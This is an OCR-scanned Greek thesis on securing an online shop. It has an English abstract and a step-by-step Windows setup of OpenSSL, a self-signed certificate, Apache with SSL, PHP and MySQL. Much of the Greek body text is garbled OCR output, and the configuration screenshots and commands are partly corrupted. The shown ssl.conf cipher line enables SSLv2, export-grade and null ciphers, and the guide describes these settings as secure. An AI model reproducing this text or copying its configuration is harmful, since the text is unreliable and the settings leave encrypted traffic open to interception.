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SQL injection, KA.
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Abstract:

An electronic shop allows in the tradesman to offer the goods or his services via the
internet with bigger effectiveness and minimized cost. An application of electronic
shop should realize concrete specifications of functionalism, one of them the security.

This work will proceed in the examination of open code application that is offered in
the internet (http://www.viart.com/FreeEvaluation).Then we will materialize one
simple shopping cart in which beyond the basic functionalism will be given accent on
issues safety.

More concretely will be analyzed and materialized the following subjects:

1. Database that will contain the sale products.
Optical depiction of products and their value.

3. Method of communication with the customer for the exchange of essential
elements.

4. Use of secure protocols (e.g. SSL) on the mission of secret elements, as the
number of credit card of customer.

5. Investigation and incorporation in the system of alternative secure methods of
payments (on-line and off-line).

6. Investigation of ways of secure interconnection of system with mediating
providers of services of payments.

7. Secure storage of elements of customer that is collected from server.

8. Techniques evasion of attacks of type: buffer overflows, cross site scripting,
SQL injection, etc.

Supervisor Professor: Dr. Manifavas Charalampos
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1. Elcaywyn:

"Eva. nAekTtpovikd KOTAGTNUO TOL GPOVTILEL YO TNV OGPAAELL TOV TEAATOV TOV,
YPNOOTOlEL KO avaPEPEL pNTE OAO TO OTOPAITNTO GLOTHUATO ACPOAEiNG KABMS
TOPEYEL KOL TIS ATOPOITNTEG TANPOPOPIES Y10 TNV MGTOMOINGCT TNG TOVTOTNTAS TOV.
Oocov agopd v ac@diela, Eva NAEKTPOVIKO KoTdotnuo Bo mTpémel vo xpnoipomotel
o oelpd amd "CLOTHUATE ACPUAELNS" TPOKELUEVOL VO S1GPAAIGEL TNV acPAAELn

TOV GLVOAAXLYDV TOV, OTOG:

e M ymowxkn vrmoypaen (digital signature), amd KAmwO0
AVAYVOPIGUEVO POpEN TIGTOTOINOTG (01 YNOLUKES VITOYPUPES emPePfardvovy
TNV TOVTOTNTO TOV GUVOAAUGGOUEVOL EUTOPOV).

e 'Eva mpotoéxorro acpoieiog (Secure Socket Layer - SSL, 1 Secure
Electronic Transaction - SET).

e M ac@ain chvdeon.

e IIpotov o1 mehdteg SOOOVV T GTOXEID TNG MGTMOTIKNG TOVS KAPTOG,
npémel vo.  emMPePaidGOVY  TOG  YPNOUOTOOVV [0 OGPOAT  GOVOEDT,
BAémovtag oty 006vn TOVG, GTNV TEPLOYN TNG OLOOIKTLOKNG O1eEvBVVeNC TO
ocvuporo https://. H vmopén avtod tov cvpPoérov mapéyer mpodcHetn

eEaocpdion.

To niektpovikd eumdplo eivor pio poper| eumopiov ko, cuvenmg Ppickovv oe
avTd EQUPLOYN OAEG O1 KOWVOTIKES 00N Yieg (KovoTikd dikaio) Kot ot eBvikég dtoTaEelg
Y. TNV TPOCTOGIO TOL KOTOVOAMTN 7OV aPOPOVV TO EUTOPLO, YeEVIKOTEPO. [0
mapaderypa, o Nopoc 2251/94, yio v "Ipootacio tov Kotavorotov" mepiéyet
dwtdéets, o Tig ovpupdoelg and andotacn (Apbpo 4), mov gpapuolovtal Kol otV
TEPIMTOON TOL MAEKTPOVIKOV €UTOPiIOV. ¢ TPOG TO. TPOSMMIKE dedopéva, vrdpyet
éva TAOIG10 OEGUEVTIKAOV KOVOVOV, oL cvykpoteitor and 1o N. 2472/97 (ywo v
TPOGTOGIO ATOUOV, OO TNV EMEEEPYUTIN OEOOUEVOV TPOGMTIKOD YOPAKTIPO) KOL TO
N. 2774/99 (yio v mpoctociot OEOOUEVOV  TPOCOTIKOD YOPOKINPO, OCTOV
TAETIKOWV®VIOKO Topéa). Mmopodue va dafdoovpe TOvg VOLOUG OVTOVG, GTNV

niektpovikn devbuvon g Apyng Ipooctaciog [Tpocomikmv Asdopévav.

XOppova pe 10 vOHo o vevbuvog dtoeplotig £xel v evBivn va eEacpaiicet

eMINEdO AGPAAELNG AVAAOYO TPOG TOVG KIVOUVOLG TOV GUVERAYETOL 1] EMeEepyacio Kot
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N eYvon tev dedopévov. H Apyn cvpPoviedel Toug vrevdivoug Sloyeplotés otny
KOTAPTION KOOWK®V 0E0VTIOAOYIOG Yo TNV ENEEEPYACIN TPOSHOTIKMY OEOOUEVOV KOl
{ntd v vroPoir] tovg Kabmdg Kot TV VIToPoAn oyediwv aceareiog Ko oyedimv
EKTOKTNG OVAYKNG 1010{TEPA OTIC MEPWTAOCELS OTOL Tpaypatonoteiton eneepyacia

evaicNTOV TPOCOTIKAOV dEdOUEVDV.

e O Kooowkog Asgovroloyiog mepiéyel KavOVeEG OVTOOEGUEVONG
EMOYYEAUATIKAOV  OUAd®YV TOL  TWEPAAUPAVOLY  TOV  TPOTO  YEPIGUOV
TPOCOTIKMOV 0e00UEVOV. O KOJKAG avTdg TPEMEL va €ival dEGUEVTIKOG MG
TPOG TNV TNPNON TOL OO TOVS VIAAANAOLG, TO OWXEPIOTN N TO UEAN TNG
EMOYYEALOTIKNG OUAOOC.

e To Xyé¢dow0 Aocealrerag (Security Plan) eivon éva €yypago oto omoio
TEPLYPAPETAL 1| TOMTIKY] €VOG OPYOVICHOD Yoo TV KOALYN TV Pooik®V
AmOUTNGE®V OoPAAElOC, Kabmg emiong kot To KOPLOL TEYVIKEA, OLOIKNTIKA Ko
OPYOVOTIKG UETPO. ACQPAAEING 7OV  eQappolovtor 1)/kal TPOKETAL Vi
epapprootovv. To Xyédo Acpdielog apopd TOGO OVTOUATOTOUEVE, OGO KOt
1N OVTOUATOTOUEVE GUGTHUATO dloyeiplong kot eneEepyaciog dedopévev
Kol TpEmeL va epapuoleton pe akpifela v v mpootacio Tov evaictntov
TPOGOTIKAOV OEG0UEVOV TTOV TNpovvIon omd Tov opyovicpd. H odvtaln tov
Yxediov Ba mpémer va yivetor amd vrevBuvo TPOCHOTO, OPICUEVO amd TOV
opyavicid Kot Vo vToypaeeTal amd T Aloiknomn tov v Ady® opyovicHo.

e To Xy¢ow ’‘Extoxtng Avaykng (Disaster recovery plan and
contingency plan) givol éva €yypago Tov avagEPETal 6To LETPO TPOOTUGING,
avAKOUYNG KOl OTOKOTACTAONG €VOG  GUGTHUOTOS TANPOQOPLOV  GE
TEPIMTMOOEIS EKTAKTNG OVAYKNG, ONWOG (QPUOIKEG KOTAOTPOQES, €EMTEPIKEG
embéoelg/ ewoPorés, kKAm. To Xxédio 'Extaxtng AvAykng SOpminp@velr 1o
2010 Acpaleiog evog opyaviopol Kol a@opd TOGO CVTOUATOTOMUEVE, OGO
Kol Un  ovtopoTomompéva  cvotnuato  dwxeipong ko enefepyaciog
dedopévov. H obvtaln tov Xyediov Oa mpémer vo yivetor omd vrevbuvo
TPOGMOTO, OPIGUEVO OO TOV OPYOUVIGUO KOl VO DITOYPAPETOL Ao T Aloiknon

TOV €V AOY® OPYOVIGLOV.

H avtipetrdmon tov (ntpdtov, mov tpokdTTouV, omd TNV TOPAVOUT PO TOL

Awdiktdov, yivetor, GNUEPD, LE EPAPLOYN TOV VOUK®OV dotdEemy, Tov KAADTTOLV
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TIG TOPOSOCIOKES GUVOAAAYEC, €V YIVETOL ¥PON KOl TOV EWIKAOV VOU®V Yo TIG
mAemkowvovieg (N. 2246/1994). Emmdéov, éxer exdobel 1o Ilpoedpikd Avdtoypo
150/2001 ®EK A 125 ywo tig nAektpovikég vmoypaés Kot 1o [Ipoedpikd Avdtaypa
131/2003 ®EK A116 yio 10 MAEKTPOVIKO EUTOPLO LE TO OMOI0 EVOOUOTOOMKE M
odnyia 31/2000/EK. (MepioadTepeg TANpo@opieg, oTnv iIoTooehida TG Cevikng MpapuaTeiog

KatavoAwTA.)

Eniong, vrdpyovv mmyéc mAnpopopidv, oto Awndiktvo, amnd Omov pmopovv ot
KATOVOA®TEG VO, EVNUEP®OOLY Yo TO. SKOLDOUATA TOVG, To Bépata aceoieiog Kot
TPOCTUGIOG TOV TPOSHOTIKMV dEGOUEVMV TOVG KOl TO VOUIKO KABEGTMG OV SIEMEL TIG
NAEKTPOVIKEG GLVOALOYEC, TOGO otnv EAAGOa 6000 Ko 010 e£mtepikd. Evdsiktikd

AVAPEPOLLE TOVS ALUSIKTLAKOVG TOTOVG:

e Tov Yrovpysgiov Avantvénc, ev. Ipaupateio Kotovalon

e Tov KE.ITL.LKA. - Kévtpo Ilpoctacioc Koatavalmtdv

e Tov mavevponaikdv Opyovocenv Koatavailotov. Evoektikd: ANEC,

BEUC, EUROCOOP

e Tnc Apync Ipootaciog Asdopévav Ipocmmikod XapoKTipa

e  Tov EAAnvikov e-Business Forum

e Tng EBviknc Tvvopoomovdiog EAvikov Eumopiov (EXEE) kot tov

Eumropikov kot Brounyavikov Emueintnpiov AOnvaov

e Tnc Evponaikng Emrponrg - T'evikr) Aedbvvon yio v Ipoctacio

zov Katovormt
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http://www.efpolis.gr/content/asp?catid=119
http://www.efpolis.gr/content/asp?catid=119
http://www.efpolis.gr/
http://www.kepka.org/
http://www.anec.org/
http://www.beuc.org/
http://www.eurocoop.org/
http://www.dpa.gr/
http://www.ebusinessforum.gr/
http://www.acci.gr/
http://www.esee.gr/
http://europa.eu.int/comm/consumers
http://europa.eu.int/comm/consumers

2. Eykotdotoon TOV TOPOKATO TPOUTULTOVUEVEOV
EPYOUAELMV YO TNV EMTUYN EKTEAEGT] TOV NAEKTPOVIKOV HOG

kotaotiportoc ViArt Free Shop:

2.1 Eykataotaon tov OpenSSL

Xpnoomotovpe to ekteAEsIHo apyeio Win320penSSL-0 9 8g.exe

Amoocvumiélovpe oto C:\Openssl

Avtrypdeovpe ta apyeia libeay32.dll xou ssleay32.dll oto C:\windows\system32

KoateBdlovpe amd tov maykdoo 1616 to apyeio openssl.cnf, To petovopdlovpe oe
openssl.conf kot o toroBetodpe oto C:\Openssl.

(Avto 1o apyeio Ba pag ypelaotel apyodtepa oto configure)

Metd Ba onpiovpyncovpe €va d1kd pag signed SSL g e€ng:

Avotyovpe éva cmd mapdBvpo kot kavoovpe generate €va. CSR

C:\openssl\opensslreq-config openssl.conf- new —out alexia.csr- keyout —

alexia.pem

Anpovpyovpe to KAEWI:

Openssl rsa- in alexia.pem —out alexia.key

Anuovpyodpe To cert:

Openssl x509 —in alexia.csr —out alexia.cert- req- signkey alexia.key —days 365

Ta anoteAéopata givar 6t £yovpe dnovpynoet éva self-signed certificate, o

kpoatioovpe To apyeio key kai cert, yiati Oa To xpNOIUOTONGOVLE APYOTEPQ.

15



2.2 Eykataotaon tov apache 2.0.61-win32-x86 nossl.msi

Méoa oto @dxelo C:\Program Files\Apache Group\Apache2 amocvumiélovpe to
apache 2.0.61-Openssl 0.9.8 10 omoio mepiéyel binaries kot configuration files ta

omoia LLE TN GEPA TOVS TEPLEYOLV TO, TOPOUKATM:

Bin/libeay32.dll
Bin/openssl.exe
Bin/ssleay32.dll
Bin/openssl.cnf
Conf/httpd.conf
Conf/ssl.conf
conf/ssl.crt/server.crt
conf/ssl.key/server.key
Modules/mod _ssl.so

Modules/mod _deflate.so

o Apache HTTP Server 2.0 - Installation Wizard

Sserver Information
Please enter your server's information.

Metwork Domain {e.g. somenet.com)

|Iu:u,':a|hu:ust

Server Mame {(e.g. www,.somenet.com):

|Iu:uca|hu:ust

Administrator's Email Address (e.g. webmaster @somenet.com]):

|Iara|:r|:|f't_alex @hotmail. com

Install Apache HTTP Server 2.0 programs and shortcuts for:

(%) for All Users, on Port 80, as a Service — Recommended,
only for the Current User, on Port 3030, when started Manually.

[ < Back ” Mext = ] [ Cancel ]

16



Ewcova 1: Eykotaoroon tov Apache?.

I'a va evepyomocovpe to SSL otov Apache:Avoiyovpe 1o conf/httpd.conf oo
eakero tov Apache2 ko Pydlovpe ta oxdia amd 10 LoadModule ssl Module
modules/mod_ssl.so. AAAdlovpe eniong ta Virtual Host Settings, énwg meprypdpovpe

GT1 GLUVEXEL.

Apache Service Monitor

Service Status ;

=0
—

vol inaches

Restart

Semvices

The Apaches service iz starting,
The Apaches service has started, Connect

E wit

e el

Apache/2.0.61 (Win3z2)

Ewcova 2: Extéleon tov Apache?.

21 ouvéyeln, TANKTpoloyovpe oe évov  browser to €&ng: http://localhost/ ko

EUOOVICETOL TO TOPAKATO:
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http://localhost/

5 Test Fage for Apache Installation - Microsoft Internet Explorer ,‘lﬂlﬁl

File Edit Wew Favoites Took  Helo | &
QBack - ) - ) 2] | seach iFavortes @ meda € | (- (3 -
Addrees [ ] hitp:flocahast e ke

I you can see thes, it means that the mstallaben of the Avache web server softwars on this system was successfl, Tou
tmay now add content te ths directory and replace this page.

Seeing this instead of the website you expected?
This page 15 here because the site admiestrator has changed the configuration of this web server. Please contact the
person responsible for maintaining this server with questions. The Apache Software Foundahon, which wrote

the web server software the ate adrurustrator 13 wang, has nothmg 1o do with mamtarng e a2 and carmol help
tesolve configuration issues.

The Apache documentation has been included with fus distribubion

Tou are free to use the image below on an Apache-powered web server. Thanks For using Apache!

WRPAE:H =

.
| ] Done I_I_I_F_-!Luulrtrm i

Ewova 3: 0 Apache2 doviedet.

2.3 Eykatdotaon Tov Apache SSL

10 C:\ dnpiovpyodpe dVO PAKELOVG:

Ytov mpmto @bhrero, C:\ssl.crt Bo tomoBetnoovpe oe avtdv to alexia.crt mwov
elyapLe ONUIOVPYNOEL GTNV apyn, To self-signed.

10 devtepo @dkeho, C:\ssl.key Ba tomobemoovpe oe avtdév 1o alexia.key mov
elyape onpovpynoetl otnv apyn, to self-signed, amd to Openssl.

To passphrase.bat eivar 10 «oaoo», To omoio 10 mepieiye péoa ota binaries Tov

Apache?2 mov katefdacape and 1oV TayKOGHULO 16TO.
>10 @dkero conf mov Ppioketon oto C:\Program Files\Apache Group\Apache2

avotyovpe to apyeio httpd.conf ko kévovpe avalntmon ya tov 6po document root

Kot aAAdCovpe Tov e£opiopod katdroyo o C:\apache

18



B httpd.conf - Znpeiopatdapo

Apygio Enstgpyagic Mopgn MpoPodn BorBaa

# rs

ServerName localhost:80 T

#

# UseCanonicalName: Determines how Apache constructs self-referencing

# URLs and the SERVER_NAME and SERVER_PORT variables.

# when set "off", Aﬂache will use the Hostname and Port supplied

# by the client. when set "on", Apache will use the value of the

# ServerName directive.

#

UseCanonicalName off

# —

# DocumentRoot: The directory out of which you will serve your

# documents. B{ default, all reguests are taken from this directory, but

# symbolic 1inks and aliases may be used to point to other locations.

#

DocumentRoot "SHIENEEME"

#

# Each directory to which Apache has access can be com“igured with respect

# to which services and features are allowed and/or disabled in that

# directory (and its subdirectories).

#

# First, we configure the "default" to be a very restrictive set of

# features.

#

<Directory /> AddoutputFilterByType DEFLATE text/html text/plain text/css Header append vary User-
Allowdverride None

</Directory=

# Note that from this point forward you must specifically allow

# particular features to be enabled - so if something's not working as

# Eou might expect, make sure that you have specifically enabled it

# below.

#

#

# This should be changed to whatever you set DocumentRoot to.

#

<Directory "C:/apache">

#

# Possible values for the options directive are "None", "Al1",

# or any combination of: 2

< ¥

Ewovo. 4: apyeio httpd.conf .

[Matdpe 10 F3 vy va PBpet 10 €ndpevo Kol KAVOLUE TO 1010. XTN GLVEXELN
eAéyyovpe e OA0 T0 apyeio av givar NN mpoemireypévn 1 dwadpoun C:\Program
Files\Apache Group\Apache2
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B httpd.conf - Znpaiwpardpio

Apygio EneEepyacia Moppny MpoPohn BonBzig

# A
### section 1: Global Environment

#

# The directives in this section affect the overall operation of Apache, E
# such as the number of concurrent requests it can handle or where it

# can find its configuration files.

#

#

# serverroot: The top of the directory tree under which the server's

# configuration, error, and log files are kept.

#

# NOTE! If you intend to place this on an NFS (or otherwise network)

# mounted filesystem then please read the LockFile documentation (available

# at <URL:http://httpd. apache.org/docs/2.0/mod/ mpm_common. htm1#Tockfile=);

# you will save yourself a Tot of trouble.

#

# Do NOT add a slash at the end of the directory path.

#

ServerRoot "[EH

#

# scoreBoardrile: File used to store internal server process information.

# If unspecified (the default), the scoreboard will be stored in an

# anonymous shared memory segment, and will be unavailable to third-party

# applications.

# If specified, ensure that no two invocations of Apache share the same

# scoreboard file. The scoreboard file MUST BE STORED ON A LOCAL DISK.

#

#5coreoardrile logs/apache_runtime_status

#

# Pidrile: The file in which the server should record its process

# identification number when it starts.

#

pidrile logs/httpd.pid

#

# Timeout: The number of seconds before receives and sends time out.

#

Timeout 300

#

# Keepalive: whether or not to allow persistent connections (more than

# one request per connection). Set to "Ooff" to deactivate. 2
< | 3
= L

Ewcova 5: apyeio httpd.conf .

‘Eneita, agaipovpe 10 oyolo omd v evtody LoadModule ssl module

modules/mod sslso kot amobnkevovpe Tig A ayEC.

Avolyovpe 1o oapyeio ssl.conf 10 omoio Ppioketar oto @drkero conf ot
avtikabiotovpe 6mov C:\apache pe C:\Program Files\Apache Group\Apache2

Ko emiong opiCovpe 6to document root tov C:\apache.

Emniéov divoope oto SSLCertificateFile kow oto SSLCertificateKeyFile ta

path ota omoia fpiokovTat To TGTOTOMTIKO KOt TO KAEWL avticTotya.
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f - Znpewpardpio
Apyeio  EneEzpyooia  Mopor, TMpoPoh  Bonfaa

# Enable/Disable s5L for this virtual host. S
SSLEngine on B

# s5L Cipher suite:

# List the ciphers that the client is permitted to negotiate.

# see the mod_ss1 documentation for a complete 1ist.

ssLCipherSuite ALL:!ADH:!EXPORTS6:RC4+RSA:+HIGH:+MEDIUM :+LOW:+55LV2 :+EXP :+eNULL

Server Certificate:
Point ssLCertificateFile at a PEM encoded certificate. If

the certificate is encrypted, then you will be prompted for a
pass phrase. Note that a kill -HUP will prompt again. Keep
in mind that if you have both an RSA and a DSA certificate you
can configure both in parallel (to also allow the use of DsA
ciphers, etc.)

Sk Sk R SR G G e

If the key is “not combine

directive to point at the key f11e Keep in mind that if
ou've both a RSA and a DsA Er1\ate key you can configure

# oth in parallel (to also al
SsLCertificatekeyFile €:/ss51.k
#ssLCertificatekeyrile con

ow the use of DSA ciphers
1

server Certificate chain:
point ssLcertificatechainFile at a file containing the
concatenation of PEM encoded CA certificates which form the
certificate chain for the server certificate. Alternatively
the referenced file can be the same as ssLCertificaterile
when the cA certificates are directly appended to the server
certificate for convinience

ssLcertificatechainFile conf/ssl.crt/ca.crt

certificate authority (ca):
set the CA certificate verification path where to find ca
certificates for client authentication or alternatively one
huge file containing all of them (file must be PEM encoded)
Note: Inside ssLcacertificatepath ¥0u need hash symlinks
to point to the certificate files. use the provided
Makefile to update the hash symlinks after changes.
#ssLcacertificaterath conf/ssl.crt
#ssLcacertificaterile conf/ss1.crt/ca-bundle.crt

HE Gk AR AR R G e R R R e e e e e

# Certificate Revocation Lists (CRL):

[E3

Ewovo. 6: apyeio ssl.conf

Téhog avtikabiotoope v eviodr] SSLPassPhraseDialog builtin pe v evioin

SSLPassPhraseDialog “exec:c:/passphrase.bat”.
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B ssl.conf - Znpewspardpio
Apygio  EneEepyooia  Mopgr] TMpoPodry  BorBea

EIEX

# A
AddType application/x-x509-ca-cert .crt T
AddType application/x-pkes7-crl .crl

#  Pass Phrase Dialog:

# configure the pass phrase gathering process.

# The filtering dialog program ( builtin® is a internal

# terminal dialog) has to provide the pass phrase on stdout.

# Inter-Process Session Cache:

# configure the s5L session Cache: First the mechanism

# to use and second the expiring timeout (in seconds).

#55L5es57onCache none

#55L5es5ionCache shmht :logs/ss1_scache(512000)

#55L5es557onCache shmchb:1ogs/ss1_scache(512000)

ssLSessionCache dbm:'logs%ss'l_scache

SsLsessionCacheTimeout 300

#  semaphore: B
# configure the path to the mutual exclusion semaphore the

# 55L engine uses internally for inter-process synchronization.

ssiMutex default

#

## 551 virtual Host Context

##

<virtualHost _default_:443>

# General setup for the virtual host

DocumentRoot "C:/apache”

ServerName localhost:443

serverAdmin you@example. com

ErrorLog logs/error_log

TransferLog logs/access_Tlog

# 55L Engine switch:

# Enable/Disable 550 for this wvirtual host.

SSLEngine on

# 55U Cipher suite:

# List the ciphers that the client is permitted to negotiate.

# see the mod_ss1 documentation for a complete 1ist.

SsLCiphersuite ALL:!ADH:!EXPORTS6:RC4+RSAI+HIGH :+MEDIUM :+LOW:+5S5Lv2 1+EXP 1+eNULL

e
14 . 14 Z
Ewcova7: apyeio ssl.conf .
’ , ’ . . ,

Emiong, ta dvo apyeio alexia.cert kou alexiakey ta tomobetd  oTO

C:\Program Files\Apache Group\Apache2\conf octovg avtioToryovg pakélovg ssl.crt

Ko ssl.key.

IToAd onpavtikd eivar va aAra&ovpe oto httpd.conf to mapakdt® oAAdS 1

oeModa pe 1o Aovkéto o€ Oa eppaviCetat.
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I hitpd.conf - Znperopardpio
Apyeio Enzfzpyogic Mopgr MpoPodn Bonfao

php_value register_globals "off"

BrowserMatch #Mozilla/4 gzip-only-text/htmlBrowserMatch AMozi1la/4.0[678] no-gzipBrowserMmatch “bMSIE !nc

LoadModuTle ss1_module modules/mod_ss1.so
#LoadModule php5_module c:/phﬁ/phpSapachez.d11
AddType application/x-httpd-php .php

AddType application/x-httpd-php-source .phps

<IfModule ss1_modules>
Listen

NameVirtualHost *:443

55LRandomSeed startup builtin

SsLRandomSeed connect builtin

AddType application/x-x509-ca-cert .crt

AddType application/x-pkcs7-crl .crl
ESlPassPhrasepialog exec:C:/passphrase,bat
ssLsessionCache "shmcb:C:/Program Files/Apache Group/apache2/logs/ss1_scache(512000)"
ssLsessionCacheTimeout 300

ssLMutex  default

/Program Files/apache Group/apache2/conf/alexia.crt”
C:/Program Files/apache Group/apache2/conf/alexia.key"”
H TRCAFRGA T ! TFLOW:+550LVZ (FERP FE

ssLCertificaterile
ssLCertificatekeyF
iphersuite

ile

BrowserMatch ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown
downgrade-1.0 force-response-1.0

CustomLog "C:/Program Files/Apache Group/aApache2/logs/ss1_request_log"
%t %h %{SSL_PROTOCOLgx %{SSL_CIPHER}X \"%rg" %b"

|<Vﬁrtua7Host * 443>
SSLENgine on
<Filesmatch "\. (cgi|shtml|phtml|php)$">
ssLoptions +stdenwvars
</FilesMatchs>
</virtualHost>
php_value register_globals "off"
</IfModules

| %

< |

|5

=

Ewova 8: apyeio httpd.conf .

IMa va Eextvnoovpe tov apache avoiyovpe éva cmd kot TANKTPOAOYOVUE TIG

TOPUKATO EVIOLEC:

cd C:\Program Files\Apache Group\Apache2\bin
apache —-D SSL
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l'pappri evrohuy - apache -D S5L

Microsoft Windows XP [EwSoon 5.1.26@01
(C)> Mueupotikd dvkovopoto 1985-2001 Microsoft Corporation

C:“\Documents and Settings“~ALERIA DALIGKAROU>cd “c:“Program Files"

G:“Program Files>cd "Apache Group"
G:“Program Files“™pache Group>rcd Apache2
G:“Program Files“pache Group“Apache2>cd hin

C:“Program Files“pache Group“Apache2“hin>apache -D SSL
[Sun Nov 25 13:56:27 280871 [warn] module ssl_module is already loaded. skipping

Ewcova 9: apache —D SSL.

Apache Service Monitor

Service Status

Roul &pache?

=
s

Restart

Semnvices

The Apache? service is starting.
The Apache? service hag started. Connect

E st

e e

Apache 2.0.61 (Win32) med_ssl/2.0.61 Opens5L/0.9.8g

Ewova 10: Apache2 ue SSL.

‘Etol, av mpocBécovpe kamowo apyeio oto document root, GUYKEKPUEVA OE
éva. pdkero mov omuovpynoape oto C:\apache, avtd Oa givor wposfaciua Kol av
yphwoope https:\localhost\ ctov browser pog, gpeovifetor n mopakdTo €KOVA M

omoio pog evnuepdvel 6Tl 1 ceAda elvatl 0cQUANG.
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{2 Index of / - Windows Internet Explorer

p—

[ € ISR o focahoc | 0

Apydio Encepyacio MpoPodd  Ayamuéva  Epyadda  Bonfoa

& | @mdexof] =l L RS = S ) R
Index of /

21-Nov-2007 10:29

17-Nov-2007 08:08 38

aleia/ 25-Nov-2007 12:20

Apache/2.0.61 (Win32) mod_ssl/2.0.6] OpenSSL/0.9.8g Server at localhost Port 443

OhorAnpiBinke % Local intranet

Ewova 11: ue wm ypnon tov https oty o1evBoven ovti tov hitp kai
YV EUPAVION TOD AODKETOV 0TO TOV® 0ECL UEPOGS, EmIPEPfarwvouaate yia

v emitoyn eykataotaocy tov ApacheSSL.

2.4 Eykotrdaotaon PHP

H éxdoomn mov ypnowonotovpe ival n php-5.2.5 [php-5.2.5-Win32.zip].
Anuovpyodpue éva eaxkero oto C:\php kot amocvumélovpe Ta mepieyodueva Tov «php-
5.2.5-Win32.zip».

¥t ouvvéyeln pmaivovpe otov kotdAoyo C:\php kot petovoudlovpe 10 apyeio
php.ini-dist o€ php.ini. 'Encita to apyeio php.ini to avtypdeovpe oto C:\windows.
Eniong avtiypdoovpe 6Aa ta apyeio and toug katardyovg dlls kot sapi 6tov KeVTpikod
katdAioyo C:\php.

To tehkd Prpa givar va KAvoupe Kamoleg tpomomomaoels oto apyeio httpd.conf tov
apache2. Kdvovue avalntmon pe tov 6po «loadmodule» kot apov Ppel kot tov

televtaio Tomobetovpe TG €€NMG EVIOAEG HeTd amd avToHV:
LoadModule php5 module C:/php/php5Sapache2.dll

AddType application/x-httpd-php. php
AddType application/x-httpd-php-source. phps
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B httpd.conf - Znpewwpardpio
Apygio Enefepyacic Moppry MpoPok  Bonfaig

# Loadvodule foo_module modules/mod_f
#

LoadModule access_module modules/mod_
LoadModule actions_module modules/mod
Loadvodule alias_module madules/mod_a
Loadvodule asis_module modules/mod_as
Loadvodule auth_module modules/mod_au
#Loadvodule auth_anon_module modules/
#Loadvodule auth_dbm_module modules/m
#Loadvodule auth_digest_module module
Loadvodule autoindex_module modules/m
#Loadvodule cern_meta_module modules/
Loadmodule cgﬁ_modu1e modules /mod_cqgi
#Loadvodule dav_module modules/mod_da:
#Loadvodule dav_fs_module modules/mod
LoadModule dir_module modules/mod_dir
LoadModule env_module modules/mod_env
#Loadvodule expires_module modules/mo
#LoadModule file_cache_module modules
Loadvodule headers_module modules/mod
Loadmodule 1maq_modu1e modules/mod_im.
LoadModule include_module modules/mod
#FLodadvodule infu_module modules /mod_i
LoadModule isapi_module modules/mod_i
Loadmodule 10g_confi?_modu79 modules/
Loadvodule mime_module modules/mod_mi
#Loadmodule mime_magic_module modules
#LoadModule proxy_module modules/mod_|
#LoadModule proxy_connect_module modu
#LoadModule proxy_http_module modules
#Loadvmodule proxy_ftp_module modules/
LoadModule negotiation_module modules
#Loadvodule rewrite_module modules/mo
Loadvodule setenvif_module modules/mo
#LoadModule speling_module modules/mo

#oadModule unigue_id_modu?e modules/
LoadModule user

#Loadvodule usertrack_module modules/
#LoadModule vhost_alias_module module
LoadModule ss1_module modules/mod_ss1
LoacModu e php5_module “C:/ /
ddType application/x-httpd-
addType application/x-httpd-

<

00.50 A

access. so
_actions.so

Tias.so

is.s0

th.so
mod_auth_anon. sc
od_auth_dbm. so
s/mod_auth_digest. so
od_autoindex.so
mod_cern_meta. sc

.50

V.50

_dav_fs.so

.50

.50

d_expires.so
/mod_file_cache.so

_headers.so

ap.so

_include.so

nfu. su

sapi.so
mod_log_config.so

me. 5o

/mod_mime_magic.so
Eroxy.so
es/mod_proxy_ccnnect.so

/mod_proxy_http.so
mod_proxy_ftp. sc
/mod_negotiatior.so
d_rewrite.so
d_setenvif.so
d_speling.so

#LoadModule status_module modules/mod_status.so

mod_unique_id. sc

ir_module modules/mod_userdir.so

mod_usertrack, sc
s/mod_vhost_alias.so
.50

|£

Emo’va 12: apyeio http

d.conf .

Kavovpe enavexkivnon otov apache?2,
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Apache Service Monitor

Service Status

sod Apache?

-

Restart

Semvices

The Apache? service iz starting.
The Apache? service has started. Connect

E xit

e e

Apachef2.0.61 (Win32) mod_ssl/2.0.61 Opens5L/0.9.8g PHP/5.2.5

Ewcova 13: apache service monitor.

Kot av ypdwyoovue topa https://localhost/ otov browser pog epgaviCeton puo

piKpn dtapopd OTMG TAPATNPOVUE GTNV EKOVOL 14,

7= Index of / - Windows Internet Explorer

) v ) hitpsi/fecabest/ A 8 #s][x] [vese
Apydo EncEepyosic MpoBoli Ayomuiva Epyohs  BotBea
P & | @indexof = - B -
Index of /
Hame Last modified Size Description
E] alex/ 21-Nov-2007 10:29 E]
alexia.html 17-Nov-2007 08:08 38

m apche project asfaleia/ 25-Nov-2007 12:20 -
test.php 25-Nov-2007 15:46 0

Apache/2.0.61 (Win32) mod_ssl'2.0.61 OpenSSL/0.9.5g 1@t g NI g e Qi llilek @ geTy g

OhokAnpiBnke & Local intranet

Ewova 14: To opyeio test.php 10 mpoobéoaue oto C.‘\apaché 70

TEPLEYOUEVO TOV OTTOL0V €lvar: <?php

27



Phpinfo ()

7>

[Tinktporoyovue https://localhost/test.php kot eppaviCeton n eoppo php 6mmg

TOPATNPOVUE OTNV EKOVA 15.

(= phpinfo() - Windows Internet Explorer

GE- [8] ntps:spocabostpest.oho 28 [#r][x] [Lve sesr
Amydo Encispyoio Mpoali Ayombva  Epyoheia  Boffio
W & [gmmrno [_‘ - B & [

System Windows NT ALEXIA-ACER 5.1 build 2600

Build Date Nov B8 2007 2318:08

Configure Command cscriptinologo configure.js "—enable-snapshot-build” “—with-gd=shared”
Server APl Apache 2.0 Handler

Virtual Directory Support enabled
Configuration File (php.ini) CIWINDOWS
Path

Loaded C i CAWINDOWSiphp.ini
PHP API 20041225

PHP Extension 20060613

Zend Extension 220060519

Debug Build ne

Thread Safety enabled

Zend Memory Manager enabled

1Pv6 Support. enabled

Registered PHP Streams php, file, data, hitp, fip, compress.zlib
Registered Stream Socket |tcp, udp

Registered Stream Filters. converticonv.®, string.rot13, string.toupper, string.tolower, string.strip_tags,
convert* consumed, zlib.*

This program makes use of the Zend Scripting Language Engine: Powered By
Zend Engine v2 2.0, Copyright (c) 1998-2007 Zend Technologies
d

Ohorhnpafinee &3 Local intranet

Ewovo. 15: php version.

2.5 Eykotdotaon mysql

H éxdoom mov ypnoonotodpe ivor np mysql-5.0.45
Anpiovpyovpe éva eakelo oto C:\mysql kot amocvumiEovpe To TEPLEYOUEVO TNG

mysql-5.0.45-Win32.zip ekel.

Extelolpe v eykatdotoon 1 omoio TepLypAQETOL OTIC TUPUKAT® EIKOVEG:
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i MySQL Server 5.0 - Setup Wizard

Welcome to the Setup Wizard for MySQL
Server 5.0

